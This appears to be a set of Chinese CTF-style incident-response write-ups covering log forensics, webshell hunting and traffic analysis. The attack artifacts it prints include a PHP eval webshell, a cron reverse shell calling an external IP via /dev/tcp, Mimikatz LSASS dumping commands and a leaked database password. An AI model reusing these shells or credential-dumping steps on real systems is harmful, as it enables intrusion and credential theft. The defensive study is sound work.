使用 XOR 操作对数据进行解密,每个字符与密钥的对应字符进行异或运算。
else

如果加载了 openssl 扩展,则使用 AES-128 加密算法解密数据。
openssl_decrypt 解密 POST 数据,使用 AES128 和密钥。
explode('|', $post);

将解密后的数据用 | 分割成一个数组,第一个元素是函数名,第二个元素是参数。
定义一个类 C:

class C{public function __invoke($p) {eval($p."");}}
这个类定义了一个魔术方法 __invoke,它接受一个参数 $p 并执行 eval($p."");。
eval 函数会执行传入的 PHP 代码,这是一种非常危险的函数,允许执行任意 PHP 代码。
@call_user_func(new C(),$params);

使用 call_user_func 调用类 C 的实例,并将参数 $params 传递给它。
最终的效果是执行解密后从 POST 数据中提取出来的 PHP 代码。

第二题

通过查看日志来分析黑客攻击的IP,点开Extensions这个扩展里面直接进入apache2这个文件夹里面因为emlog是小型网站或者个人博客,我们去看mysql里面是没有日志的所以先去寻找阿帕奇日志,知道黑客进攻是通过shell进行的进攻所以我们打开log文件直接查询shell就可以找到黑客ip

第三题

可以通过两种方法寻找,第一个是通过打开计算机管理然后通过查找本地用户和组可以发现一个hacker138$的用户,第二种方法是在C盘打开cmd通过net user来查找计算机所有用户,再通过C盘的用户文件夹点开隐藏文件来进行对比可以找到

第四题

打开黑客桌面发现有个矿文件,然后我们点开pyins文件夹将文件放入pyins 的文件夹顺便下打开cmd输入指令

python pyinstxtractor.py kuang.exe

返回该目录下会有一个新文件夹进去以后找到kuang 的空白文件或者pyc后缀的文件通过记事本打开或者010打开,在线的话去pyc在线反编译网站就可以出来了

玄机 第四章-windows日志分析

第一题

把桌面上的log文件拖到本机再导入虚拟机上,通过代码来查询IP次数

awk '{print $1}' access.log | sort | uniq -c | sort -nr

他让我们提交的是所有的扫描ip

这时候我们可以通过点开access.log文件来查找是否有绕过

第二题

提交rdp爆破失败次数(简单来说,RDP(Remote Desktop Protocol,远程桌面协议)是由微软开发的一种网络通信协议,主要用于远程连接和管理计算机。通过 RDP,用户可以在一台设备上远程控制另一台设备的桌面,并与它进行交互,就像本地操作一样。)

通过win+r打开以后输入eventvwr.msc进入到事件查看器,windows日志中的安全有个筛选4625登录失败的次数这就是第二问的答案。

拓展

通过桌面的工具“FullEventLogView”导入分析

第三题

过滤4624的登陆成功ip抛去自己的和远程连接的ip剩下的一般为黑客ip,又或者用4648,通过手动输入用户名和密码的登录来筛选导出日志文件后直接丢给AI让他统计就可以了。

第四题

通过查找4720来看有多少个新创建用户可以直接锁定一个可疑用户hacker$

第五题

WIN”+“R”输入“lusrmgr.msc”,或者直接“cmd‘”输入“lusrmgr调出本地管理用户组来查看,也可以通过D盾用管理员模式打开查看克隆账户

第六题第七题

查看IP和端口以port方式提交和提交程序名字

通过cmd打开输入这个指令

netstat -ano

没有查到可以IP这时候通过搜索栏找计划任务看看有没有自启动找到一个download,很快就发现了:xiaowei.exxe,这个后缀肯定就是为了不被杀掉为exxe才这样;

然后找到注册表通过注册表查询xiaowei这个文件,双击找到xiaowei这个文件的位置,通过复制移到本机上微步云杀箱。直接在网络行为找到ip和端口,并且把这个程序是一个远程shell一个是因为开机自启动非常可疑还有一个是丢入微步云沙箱会提示为木马。

第八题

黑客使用了计划任务来定时执行某shell程序,程序名称为什么

通过计划任务,我们可以得知,xiaowei这个软件在23.07的时候会自动下载启动,这时候点开操作,找到绝对路径,然后通过编辑可以找到这个程序的指令,通过分析可以得知

他会关闭脚本执行的命令回显,是操作更加隐蔽,另外无限循环下载所以我们可以得知download.bat这是个shell程序

玄机 第四章 windows实战 向日葵

向日葵是一款远程桌面连接,适用于个人用户和企业用户,它可以远程文件管理,远程摄像头控制,远程开关机,远程协助。

向日葵RCE有一个被发现的安全漏洞,可以让未授权者的攻击者远程执行任意命令。

第一题和第二题

通过把所有日志拉出来分析,看着很多,可以直接用ai进行分析筛选出来有攻击嫌疑的,我们在进行人工筛选,通过20240321-191046这个文件可以得出具有攻击嫌疑而且这个文件在日志文件里异常的大,通过分析可以知道攻击的ip地址。

黑客攻击的时间可以通过shell来查询可以查到一个powershell文件说明是通过pawershell进行的攻击,因为这个软件有强大的灵活性支持复杂脚本的编写和可执行文件的操作,还有注册表的修改,并且可以跨平台进行针对性的攻击。

在windows下pawershell通常以高权限控制系统,并且powershell是系统内置软件,可以绕过黑名单检测。

第三题

我们需要知道黑客托管的恶意程序ip地址,就需要去找黑客和外部连接的一个ip,只有最下面和http建立了连接有一个ip地址,前后都是绕过并不好发现

第四题

解密的DEC文件的md5

通过寻找txt文件可以找到一个qq.txt这时候我们打开玄机的群在群文件里面可以找到DEC文件,通过下载打开cmd输入指令

 certutil -hashfile DEC.pem MD5
生成后的为
5ad8d202f80202f6d31e077fc9b0fc6b

certutil是Windows自带的一个命令行工具

-hashfile是一个参数,用于指定要计算哈希值的文件,并且告诉certutil工具接下来的参数是一个文件路径

在放到kali里面使用这个指令

md5sum DEC.pem 

md5sum的意思是用于计算后面文件的md5值

玄机 第四章 windows实战 wordpress

第一题

找到小皮的目录,进入WWW(目录通常是存放 Web 项目的根目录。这个目录是 Apache 或 Nginx 等 Web 服务器的默认站点目录,所有的 Web 项目文件和代码都会放在这个目录中)里面发现是nginx的直接去找nginx的日志进行分析access.log不分析error这个日志是因为,access这个日志是记录客户端像nginx服务器发送请求,都会被其记录在这个日志里。

既然让我们提交黑客攻击成功的第一时间那么我们直接查找状态码为200的就行了,去寻找黑客第一时间攻击成功的时间,通过查询200状态码发现下面有302的状态码。

302状态码表示重定向,通常表示登陆成功并重新定向到其他界面。但是有很多302所以我们要在手动筛选分析一下

第二题

第一步查出来的后面便是浏览器版本

第三题

查找目录扫描工具

名称用法意义
DirBusterJava编写的图形化工具,通过字典攻击法枚举目录和文件。常用于发现隐藏或敏感的目录和文件。
Dirsearch使用Python编写的命令行工具,适用于快速扫描。支持多线程和代理,可以自定义字典。
GobusterGo编写的工具,非常快速。支持目录和DNS子域名枚举,特别适合需要高性能的任务。
Fuzz Faster U FoolGo编写的快速网络模糊测试工具。支持HTTP请求、目录爆破、DNS、参数模糊测试等。
Wfuzz用于web应用模糊测试的工具。非常灵活,支持爆破HTTP GET和POST参数、Cookies、目录、文件等。

第四题(查找路径的指令)

通过kali进入WWW目录下排查危险函数可以得出

find ./ type f -name "*.php” | xargs grep "eval("
如果eval查不到将后面的函数替换一下排查即可

可以找到一个.x.php文件这就是黑客进攻的目录,通过

locate post.php

可以在数据库中找到文件路径

第五题

通过这个代码寻找加密后的危险函数再通过上述查找文件路径来找寻这个文件的地址

find ./ -type f -name "*.php" | xargs grep "base64_decode"

第六题

因为这属于是靶场题目所以不可能单独把360直接放到根目录下面,所以我们直接把360丢进微步云沙箱,去查是什么情况发现是个病毒,通过下面的.bat启动的

玄机 第五章 Windows 实战 evtx 文件分析

什么是evtx文件

.evtx 文件是 Windows 事件日志文件,它们存储由 Windows操作系统和应用程序生成的事件日志。这些日志文件以二进制格式保存,包含关于系统、应用程序和安全事件的信息。

作用是系统监控和维护,故障排除,安全审计,合规性检查

是谁产生的.evtx文件:Windows操作系统核心组件这些日志通常存在system.evtx,应用程序与服务各种应用会将他们的日志写入Application.evtx等,安全事件会记录在Security.evtx

常见的evtx文件

Application.evtx记录应用程序相关的事件日志
System.evtx记录系统级别的事件日志。
Security.evtx记录安全事件和审计日志。
Setup.evtx记录与系统安装和升级相关的事件日志。
ForwardedEvents.evtx用于记录从其他系统转发的事件日志。

第一题

通过查找4624这个事件id提取出来后查找IP地址发现只有3个除去127.0.0.1是本机ip剩下俩个轮着提交就行了

第二题

通过事件id筛查4738可以找到用户名

在此事件中:TargetUserName 和 SamAccountName 字段均为 Adnimistartro,这表明被修改的用户名是 Adnimistartro。 而SubjectUserName 是执行此操作的用户,表示为 WIN-B1B1T3K57G9$,这通常表示系统级账户或计算机账户。

第三题

通过日志筛选4663,可以导出发现地址只有一个

也可以通过打开文件看

EventData 

SubjectUserSid S-1-5-21-17081676-1000286879-1443824681-1000
SubjectUserName administrator
SubjectDomainName WIN-B1B1T3K57G9
SubjectLogonId 0x28069
ObjectServer Security
ObjectType File
ObjectName C:\Windows\System32\SMI\Store\Machine\SCHEMA.DAT
HandleId 0xb64
AccessList %%1538  
AccessMask 0x20000
ProcessId 0x2510
ProcessName C:\Windows\explorer.exe

对象名称:ObjectName C:\Windows\System32\SMI\Store\Machine\SCHEMA.DAT 清楚地表明了被访问的文件路径和文件名。SCHEMA.DAT 是 Windows 系统中的一个关键配置文件,通常包含有关系统组件的架构信息。

访问对象类型:ObjectType File 说明了被访问的对象类型是文件,这进一步确认了具体被访问的目标。

主体用户信息:SubjectUserName administrator 和 SubjectDomainName WIN-B1B1T3K57G9 表明发起访问请求的用户是具有管理员权限的用户。这意味着高权限用户可能进行敏感操作,增加了访问文件的可信度。

访问权限:AccessMask 0x20000 和 AccessList %%1538 这些值指示了具体的访问权限。虽然十六进制的访问掩码需要转换和解释,但一般涉及读取、写入或修改操作。这些权限对系统关键文件来说非常敏感。

进程信息:ProcessName C:\Windows\explorer.exe 和 ProcessId 0x2510 说明了发起访问请求的进程。explorer.exe 是 Windows 的文件管理器,通常用于文件浏览、复制等操作。

总结

重要文件路径:C:\Windows\System32\SMI\Store\Machine\SCHEMA.DAT 是 Windows 系统中一个重要的配置文件路径,通常普通用户或正常应用程序不会频繁访问该文件。

高权限用户:administrator 用户的操作表明这是一个具有高权限的用户进行的访问,这种用户通常可以执行系统级别的操作。

访问权限和操作:AccessMask 0x20000 表示请求了特定的访问权限(需要进一步解析具体权限)。一般来说,访问系统关键文件需要高级别的权限,这表明了访问的重要性。

第四题

数据库属于是应用程序,进去查看后发现是mysql数据库这时候筛选事件ID为100的

按照时间顺序一个一个查找上去

发现有一个process 1052还有8820,10168等,我们按照时间顺序从大到小提交发现是8820

.phpcustom_mysql (mysqld 5.5.62-log) starting as process 8820 ...

这条记录明确指出 MySQL 服务器(mysqld 5.5.62-log)以进程ID 8820 启动。

第五题

去查找系统日志搜索1074这个id可以看到有七条关机启动等活动,这时候发现五条是重新启动的有一条是sy一个是adm,三条是修改后的adn

玄机 第五章 linux实战 黑链

黑链

黑链是什么

指通过不正当手段在网站上添加的链接,这些链接通常指向不良内容或恶意网站,目的是提高这些网站的搜索引擎排名或传播恶意软件。

黑链的特征

1.隐藏链接:黑链通常隐藏在网站页面中,使用CSS,JavaScript或其他手段对普通用户不可见,但仍能被搜索引擎爬虫检测到。

2.恶意内容:这些链接指向的内容可能包含恶意软件,钓鱼页面或者其他不良内容,试图感染用户的计算机或窃取个人信息。

3.伪装链接:黑链可能伪装成合法的链接,通过使用误导性的锚文本(链接中可见的可点击文本)或者URL,诱导用户点击。

4.大量生成:黑链通常通过自动化工具大量生成,散布在多个网站上,以提高恶意网站的搜索引擎排名

第一题

我们手动排查常见的文件夹/var/www/html,/tmp, /uploads,/ images或者是通过工具全面扫描

(D盾)也可以通过查询关键词全面扫描,因为这个题是黑链所以关键词搞的黑链,实战的时候黑链二词可以替换为任意关键词,但是按照案例来说给黑链标记关键词的情况很少

grep -rnw '/var/www/html/' -e '黑链'

一般现实情况下,黑链是隐藏的:隐藏HTML元素,javascript动态加载,URL重定向,伪装成正常内容

查找异常链接

grep -rni 'href=' /var/www/html/

-r:递归搜索,-n:显示行号,-w:匹配整个单词,-i不区分大小写,href是HTML中<a>的标签属性,用于指定链接的目标地址。

第二题

可以通过查找危险函数

find ./ -name "*.php" | xargs grep "eval("

如果eval查不出来可以通过查找其他危险函数,并且在php查完以后替换其他的文件后缀如.js和.asp等

可疑函数调用
PHP: eval() , system() , exec() , shell_exec() , passthru() , assert() , base64_decode()
ASP: Execute() , Eval() , CreateObject()
JSP: Runtime.getRuntime().exec()

文件操作
PHP: fopen() , fwrite() , file_get_contents() , file_put_contents()
ASP: FileSystemObject

网络操作
WebShell可能会包含网络操作函数,用于与远程服务器通信:
PHP: fsockopen() , curl_exec() , file_get_contents('http://...')
ASP: WinHttp.WinHttpRequest

找到目录后在进入目录打开文件查看其内容是什么这时候我们可以确定,多个eval函数来增加代码混淆,所以我们直接知道了黑客攻击的webshell地址

第三题

黑客注入的黑链文件一般种类

名称方法特点
JavaScript通过 JavaScript 代码动态插入隐藏链接或 iframe。可以通过脚本在用户浏览页面时实时插入黑链,常见于页面底部或隐藏的元素中。
HTML直接在 HTML 文件中嵌入隐藏的链接。链接通常设置为 display: none 或放置在不可见的位置(如超出视口的区域)。
PHP在 PHP 文件中嵌入生成隐藏链接的代码。利用服务器端代码生成黑链,可以隐藏在模板文件、插件文件等处,较难被发现。
CSS通过 CSS 文件定义隐藏链接的样式。使用 display: none 、 visibility: hidden 或 position: absolute; left: -9999px 等方式隐藏链接。
iframe在页面中嵌入一个隐藏的 iframe,iframe 内部加载包含黑链的页面。iframe 可以指向外部恶意页面,通过隐藏的 iframe 难以被发现。
.htaccess使用 Apache 服务器的 .htaccess 文件进行 URL 重写,植入黑链。通过重写规则隐蔽地将用户引导至黑链页面。

通过前面查找指令发现eval这个函数有回显在php和js后缀的文件都有

 find ./ -name "*.js" | xargs grep -o "eval("
-o是为了只输出和双引号里面匹配的内容,可以方便我们找到匹配的再去查细节不需要费眼去看一大串。

在poc1.js文件中可以找到一个明显的iframe让后md5sum poc1.js可以出来MD5的值

第四题

我们第三步知道了,poc1是包含黑链的一个js文件,这时候我们通过查找pcap流量包,打开后直接看协议分级发现http的流最多,再加上第三步解出的poc1,可以直接筛选这个文件的流

http contains "poc1.js"

追踪流发现了一个cookie通过URL编码翻译可以知道通过192.168.20.130这个ip地址进行获取用户cookie所以index.php/archives/1/页面是黑链攻击入口,通过cookie注入的js代码引入poc1.js文件执行恶意操作

玄机 第五章 linux实战 CMS01

第一题

直接寻找/var/log/secure日志文件中记录的成功ssh登录条目,通常是记录系统的安全相关日志,包括SSH登录尝试。

cd /var/log
cat secure | grep "Accepted" | awk '{print $11}' | sort | uniq -c | sort -nr

Accepted是SSH服务在成功认证登录后,会在日志文件中记录包含Accepted字样

字段月份
$1第一列,表示月份
$2第二列,表示日期
$3第三列,表示时间(小时:分钟:秒)
$9第九列,表示登录的用户名
$11第十一列,表示登录的客户端IP地址

第二题

我们使用命令查看当前所有网络连接和监听端口的详细信息.

netstat -anlupt  包含UDP协议
netstat -antlp 只有TCP协议

发现用的是mysql,nginx中继器所以我们去找数据库内容

通过日志文件可以发现是phpmyadmin通过查找相应的配置文件是config.inc.php通过指令发现有四个路径

find ./ -name "config.inc.php"
/www/server/phpmyadmin/phpmyadmin_28ee99a9e7d063bd/setup/frames/config.inc.php
/www/server/phpmyadmin/phpmyadmin_28ee99a9e7d063bd/config.inc.php
/www/wwwroot/127.0.0.1/lib/config.inc.php
/www/backup/file_history/www/wwwroot/127.0.0.1/lib/config.inc.php

通过第三题我们可以知道这是一个网站项目用来链接数据库的相关文件最后一条更像是第三条的备份文件,第一条和第二条是phpmyadmin自身相关的配置文件。

通过进入数据库我们可以知道数据库名字和密码,通过登录数据库

通过指令进入数据库后

 mysql -ukaoshi -p5Sx8mK5ieyLPb84m

输入指令查看当前数据库服务器中已存在的所有数据库列表

show databases;

然后切换到kaoshi这个数据库,命令是切换当前操作的数据库,返回Database changed表示切换成功。

use kaoshi;

使用命令查看当前数据库中已存在的所有数据表,表单出来后查找user这个,因为user表示为人名先查这个查不到后再去寻找其他的表

show tables;

使用命令先进入表单在查询表单下的内容找到1后面的为MD5值解密出来明文

SELECT * FROM x2_user_group;
select * from x2_user;

第三题

这时候我们打开流量包,取巧的方法是问我们黑客第一次的webshell,直接点击time从从头开始分析追踪流,也可以打开统计协议分级去查看发现tcp的协议最多,可以直接从tcp协议里面翻找,又或是直接找tcp协议下的http协议,因为http的post请求中又index.php?user-app-register这个属于是URL路径包含一个恶意参数的请求,进入以后可以发现有一个network2020直接全部复制URL编码解码完成后可以知道这是一个脚本,可以直接得出URL是多少。

第四题

需要分析黑客webshell的连接密码是多少,我们可以分析流量蚁剑,菜刀,哥斯拉,冰蝎这几个流量特征各有不同

例如蚁剑的是@ini_set(“display_errors”,”0”)这个是最明显的特征。

然后可以知道密码为开头的那个network2020

第五题

我们直接追踪流然后在第三个流文件可以找到完整的URL编码翻译完成后会发现

x0b6b31b98f31d=TtL3d3dy93d3dyb290LzEyNy4wLjAuMS8=

蚁剑会将参数进行base64编码并在前面随机生成两个字母

第六题

用history这个命令可以找到vim过的文件然后通过指令查找文件目录

find / -name "mpnotify.php"

进入目录后发现我们找到的三个vim过的文件实际上是一个目录两个目录内的文件一个一个打开看就能找到flag2了

第七题

可以用两种方法一种是history用于查找历史命令,我们还可以正则匹配,因为作为题目来说他会有规定的格式给你我们直接搜索

grep -rni 'flag'            这个flag可以替换成任意比赛的开头格式用来寻找

要是用history则在102-104这三条里能找到flag

玄机 第六章 流量特征分析 蚁剑流量

第一题

搜索http协议找到蚁剑的特征ini然后,复制下来进行url解码,可以知道密码为1

第二题

通过追踪http的第一次的流文件可以知道他进行了id命令,通过uid和gid可以知道

第三题

在post请求里找到HTML的form item表单直接把base64解码出来,可以得到绝对路径,一共五个可以找一个。

第四题

合上述同理,可以得到黑客上传了什么文件到服务器

第五题

我们要想查看内容是什么可以接着看那个文件的上面一个value把他翻译成hex值

第六题

可以在post请求的from item里面直接找到

玄机 第六章 流量特征分析 常见攻击事件 tomcat

常见攻击事件

1. DDoS(分布式拒绝服务)攻击 流量特征:

短时间内大量请求涌向目标服务器,导致服务不可用。

流量高峰异常,超过正常流量基线数倍甚至数十倍。

源IP地址多为伪造,分布广泛,难以追踪。

目标端口集中,通常为80(HTTP)或443(HTTPS)等常见服务端口。

2. SYN Flood攻击 流量特征:

短时间内大量SYN包涌向目标服务器,导致服务器资源耗尽。

每个连接请求仅发送SYN包,不完成三次握手过程。

来源IP地址随机或伪造,难以追踪真实攻击者。

3. ICMP Flood 攻击 流量特征:

短时间内大量ICMP Echo请求(ping包)涌向目标,导致网络拥塞。

ICMP流量异常高,超过正常基线。

包大小可能设置为最大,增加带宽消耗。

4. UDP Flood 攻击 流量特征:

短时间内大量UDP包涌向目标,导致网络带宽耗尽或目标服务资源耗尽。

来源端口和目标端口多为随机,增加流量混乱度。

流量高峰明显,超过正常基线。

5. SQL注入攻击 流量特征:

HTTP请求中包含异常的SQL查询语句,如 ‘ OR ‘1’=’1 。

频繁的POST请求或GET请求,URL参数中含有SQL关键字(如 SELECT 、 UNION 、 INSERT )。

请求响应时间异常,数据库负载增加。

6. XSS(跨站脚本)攻击 流量特征:

HTTP请求中包含异常的JavaScript代码片段。

URL参数或表单提交数据中含有 <script> 标签或其他脚本标记。

受害者浏览器向攻击者控制的域名发出异常请求。

7. 钓鱼攻击 流量特征:

电子邮件或网站链接指向伪造的登录页面,域名类似于合法网站。

短时间内多个用户从相同URL访问相同IP地址。

URL中包含常见钓鱼标志,如域名拼写错误或额外的子域名。

8. 恶意软件下载 流量特征:

短时间内从同一URL下载可执行文件或压缩包。

文件名、文件类型和URL路径看似正常,但文件实际含有恶意代码。

下载请求来源IP地址多样,可能涉及大量用户。

9. 暴力破解攻击 流量特征:

短时间内对同一服务发出大量的登录尝试请求。

每次请求尝试使用不同的用户名或密码组合。

失败的登录尝试次数异常高。

10. 数据泄露 流量特征:

大量数据从内部网络流出,流量异常高。

非工作时间段内的大量数据传输。

数据传输的目标IP地址异常,可能位于非预期的地理位置。

题目

1、在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻

击者IP flag格式:flag{ip},如:flag{127.0.0.1}

2、找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

3、哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}

4、经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

5、攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?flag格式:flag{root-123}

6、攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}

7、攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

第一题

通过点开wireshark中的统计流量图可以发现有大量从14.0.0.120这个端口发送SYN到10.0.0.112这个,而返回的东西并没有被接受而是被拦截(短时间内大量RST包,强制中断合法连接)所以这个是SYN攻击

第二题

通过已知的IP去浏览器查找这个地址,可以知道是在广州

第三题

常见端口

端口含义
80(HTTP)不安全的网页访问
443(HTTPS)安全的网页访问
8080常见的备用HTTP端口
8443常见的备用HTTPS端口
2082,2083cPanel默认管理端口(cPanel是基于WEB的服务器管理控制面板)
10000webmin默认管理端口(webmin是web的系统管理工具)
8006Proxmox Virtual Environment管理端口
3000用于许多自定义和开发中的管理面板,如Grafana

通过http和https流量查看是因为何可访问web服务器管理页面是最常用的访问方式,然后我们需要知道admin/login/cpanel/webmin/bashboard/manage这六个关键词根据流量内容,可以识别是否是管理面板的访问请求

第四题

在http里面点击info可以排序,然后去找看他是否有访问了敏感路径,并且在同一时间大量爆破。点开追踪流文件可以发现User-Agent这个是代理,代理后面就是工具

第五题

需要我们去寻找黑客爆破成功的密码和用户名,这时候我们就应该考虑黑客有没有上木马文件可以去查找payload或者upload前者是有效荷载(一般情况下都是病毒中的恶意代码,或者网络请求中的核心数据)而后者upload是上传的意思一般是将数据从本地上传至云端或者服务器。

也可以通过另外一种方式在过滤的http后登录会使用POST方法,这里面包含用户名和密码参数,可能的路径包括但不限于一下几种

常见为
/login /auth /signin
传统路径变体为
/account/login /user/auth /api/login /secure/login
框架或CMS默认路径
/spring-secuity/login
/django-admin/login
/wp-login.php
/j_spring_security_check
安全增强型路径
/sso/login /oidc/authorize /mfa/login
遗留系统或非标准路径
/old_login /user/passwd /verify
或者直接用wireshark的过滤去寻找
http.request.merhod == "POST"

这时候搜索的和过滤出来的都是一个东西追踪流文件发现没有username和passwd说明他不是直接给你的用户名和密码,而是进行了加密。看向Authorization,这个东西HTTP基本认证是一种常见的用户认证方法。它的工作原理是通过HTTP头部的 Authorization 字段来传递用户的凭证(用户名和密码)。

进行base64解密就出来了为admin:tomcat

第六题

既然是提交而已文件名称,这时候我们还是用上面那个题可以一眼看到有个JXQOZY.war这是个javaweb的应用程序的部署

第七题

我们需要去排查POST请求里没有没/manager/html/upload等文件上传请求的

在去排查/bin/sh或/bin/bash执行请求命令的。看完upload没有发现有提权后持久化进攻的手段和后面

这时候要去排查/bin通过wireshark

http contains "/bin"
发现没有这时候我们要意识到http是封装在TCP里面的把开头的http换成tcp
tcp contains "/bin"

可以发现

whoami

root

cd /tmp
pwd

/tmp

echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron
crontab -i cron

crontab -l

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

我们分析一下root是提升权限, cd/tmp是切换目录,系统清理时候容易被删除

echo后面一大串就是我们说的持久化shell,通过设定好每分钟执行的定时任务。

crontab -l 表示确认定时任务已经成功植入。

/bin/bash -c ‘bash -i >& /dev/tcp/14.0.0.120/443 0>&1’的‘表示闭合的意思

玄机 第六章 流量特征分析 小王钓鱼邮件

钓鱼邮件的特点

伪装来源:通常钓鱼邮件伪装成可信来源,如银行,电子平台,政府部门

紧急或者诱人的内容:邮件内包含账户重置或者折扣优惠等

恶意链接和附件:邮件内包含看似正常但是实际上是恶意连接或是附件

社交工程技术:通过引起受害者的恐慌,好奇心和贪欲,促使忽视安全警告

钓鱼邮件的运作方式

收集信息:攻击者通过各种途径(如数据泄露,社交媒体,公共信息等)收集潜在目标的信息,以便定制钓鱼邮件。

伪造邮件:利用收集到的信息,攻击者伪造邮件,使其看起来像是受害者信任的来源。

发送邮件:大规模发送

引导操作:一旦受害者收到钓鱼邮件被迷惑,可能下载附件或者点击恶意链接

收集信息或实施攻击:攻击者使用收集到的敏感信息进行身份盗用,金融诈骗或进一步的网络攻击

第一题

他告诉我们是zip所以我们可以直接去筛选HTTP文件然后排序,可以发现有一个非常大的流量,点开以后直接就发现了PK的文件头,这时候我们知道黑客已经获取到了ZIP文件,根据题目给的flag格式可以知道,GET头后面就是,下面的co可以知道前后就是flag

常见的文件头

名称16进制ASCII
ZIP50 4B 03 04PK
BMP42 4DBM
GIF47 49 46 38GIF8
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A.PNG….

第二题

通过查看协议分级发现Data的占比最高直接作为过滤器选中(鼠标右键)让后找到HTTP的那个流文件通过导出分组字节流然后在CMD里

certutli -hashfile 1.zip MD5

可以知道这个压缩包的MD5值

第三题

我们通过解压这个压缩包让后用py脚本遍历可以得出网址,这个网址就是flag

玄机 第六章 流量特征分析 蚂蚁爱树

第一题

告诉我们要获取管理员密码这时候我们要知道这种密码一般都是在http请求的post里大部分情况下我们可以直接先去搜索这个。

然后一共有四种,这时候我们可以直接排除其他的因为文件没有eval这个危险函数和base64的加密信息通过筛选只看这个的流量一点一点去分析

http contains "POST /onlineshop/product2.php"

然后就是点开每一个流量下的from item一个一个看最终在15190这个数据流里找到了password1

第二题

让我们去看LSASS.exe的进程id

这时候我们要知道什么是LSASS.exe是windows中操作系统中负责管理本地安全策略,用户认证和访问控制的关键进程。还会生成一个包含系统账户和密码的lsass.dmp文件。

我们还是在上面的数据流里找from item会发现一个zip说明这个文件里面包含了一个压缩包其中的852就是进程id

第三题

在product这个流里找到有压缩包信息的,然后在页面把product所有的文件全部导出,找到最大的文件放到010改为16进制查看让后通过修改文件头变为mdmp,保存为dmp格式放到猕猴桃里

sekurlsa::minidump 111.dmp
sekurlsa::logonpasswords
一定要放到同一目录下

在03Primary下面的NTLM里可以知道这个是用户的哈希值这时候复制下来放到MD5里解密可以知道是admin#123

玄机 第六章 流量特征分析 waf

第一题

我们通过分析题目让我们获得登录密码这时候找到HTTP协议里的login登录查找最后一个便可以查到黑客最后登录成功的密码和ip

第二题

我们可以用Nate -A 直接查找关键字,笨办法和费时间的办法就是直接搜索flag正则匹配这样非常的麻烦,第三种是直接用wireshark的指令缩小查找范围让后一个一个查

data-text-lines contains "flag"

会发现有很多都是一样的或者是很多flag只有时间最新的那个是正确的flag

第三题

他让我们查找数据库的密码,这个时候我们需要知道数据库密码在wireshark里叫做dbpass(拓展一下数据库用户名dbuser,数据库服务器地址dbhost,数据库名称dbname)通过指令。

http contains "dbpass"
//http查不到的话,可以换成tcp contains "dbpass"

玄机 第六章 哥斯拉4.0

第一题

我们需要知道黑客的ip地址那么通过筛选http流量可以发现一个是192.168.31.190一个是192.168.31.168有两个ip地址。

可以通过Source知道是发起而Destination是目的意思是收到地方,那么就可以黑客是从.190这个IP发过来的所以黑客IP直接出来了

第二三四题

黑客是通过什么漏洞进入服务器的?(提交CVE编号)这个时候要知道什么是CVE编号

CVE编号是一个公开纰漏的网络安全漏洞列表。每个漏洞都有一个唯一的CVE编号,用于识别和追踪该漏洞。

这时候把文件按照大小筛选一下发现第一个是204,204这个状态码大概率是攻击成功但是服务器没有返回信息,我们追踪流看一下里面的信息可以发现是一个java反序列化的漏洞可以知道是个CVE-2017-12615的漏洞。

byte[] data=base64Decode(request.getParameter(pass));

通过AI分析这个和CVE-2017-12615的这个漏洞有相似之处都是攻击者通过http的PUT请求上传文件。

我们又通过PUT后面的那个文件名知道了黑客上传的木马文件名和PUT的请求上传文件。

我们通过分析这串指令可以知道黑客的密码是7f0e6f。

<%! String xc="1710acba6220f62b"; String pass="7f0e6f";

当然也可以通过观察其他的包来看,然后确定我们的发现密码是一样的

第五题

黑客的木马密钥我们还是可以通过这个来进行观看

<%! String xc="1710acba6220f62b"; String pass="7f0e6f";

string xc后面的是密钥

第六题

通过去寻找返回值为200的成功命令发现开头是7f0e6fd 有非常长的放到工具里发现解密出来的东西没有太大用处,发现还有小的这时候会发现好像打的是指令

uname -r

通过查看浏览器版本内核

第七题

我们上面找了有长字符串还有短字符串,这时候我们发现下面还有蓝色的,我们把它放到蓝队应急响应工具的哥斯拉3.0-4.0流量解密中解密返回包,这时候我们可以发现返回包的长度不一样解出来的东西也不一样,我们去找到揭秘完成后包含

uid=0(root) gid=0(root) groups=0(root)

这个的东西翻译过来就是用户的UID是0表示这个用户是超级用户,有所有的权限。

gid是当前用户的组id也是0表示该用户属于root组。

groups是当前用户所属的组

可以知道了实行了root用户

第八题

我们需要知道的Linux发现的版本有哪些才能知道这道题让我们找到是那些版本。

版本名称
Ubuntu
Debian
Fedora
CentOS
Arch Linux
openSUSE
Linux Mint
Slackware

我们需要通过

lsb_release -a          这个命令会详细显示详细的版本信息,包括发行版本和版本号
cat /etc/os-release 对于大多数发行版,可以查看这个命令

cat /etc/issue
cat /etc/debian_version 对于Debian和Ubuntu系统

uname -a 这个命令会显示内核版本和其他系统信息,但不包括发行版的名称。

还是通过一个一个试验,前面我们一个一个解密可以发现在329这个数据包里揭秘出来会携带网址,这个数据包就是我们需要在这道题用到的。

ppetty_name后面跟着的就是Debian GNU/Linux 10 (buster)发行版本

第九题

实际上从第二题开始我们可以把从第二题开始寻找的哪些字段都保存下来,让后在这个时候用上,因为他需要我们去找200通过的另外一个请求数据包。这时候我们可以发现一个rmp -qa | grep pam这个指令是黑客通过grep去过滤pam相关的软件包这个时候再去看返回包内容

2>&1: 1: 2>&1: rpm: not found

表示系统中没有安装rpm命令,或者该命令不可用。2>&1: 1: 2>&1:可能是命令执行时的格式问题,导致输出混乱。不是我们需要的还查询了什么命令

这个时候通过查询返回包发现了一个amd64,去查找请求包可以知道运用了这个命令

dpkg -l libpam-modules:amd64

dpkg -l命令列出了所有安装的包及其状态(如安装、未安装、已删除等)。黑客可以查看 libpam-modules是否已安装及其状态,这对于评估系统的安全性非常重要。

第十题

我们需要留下后门的反连ip和port是什么(ip:port)

ip和port意思就是ip和端口

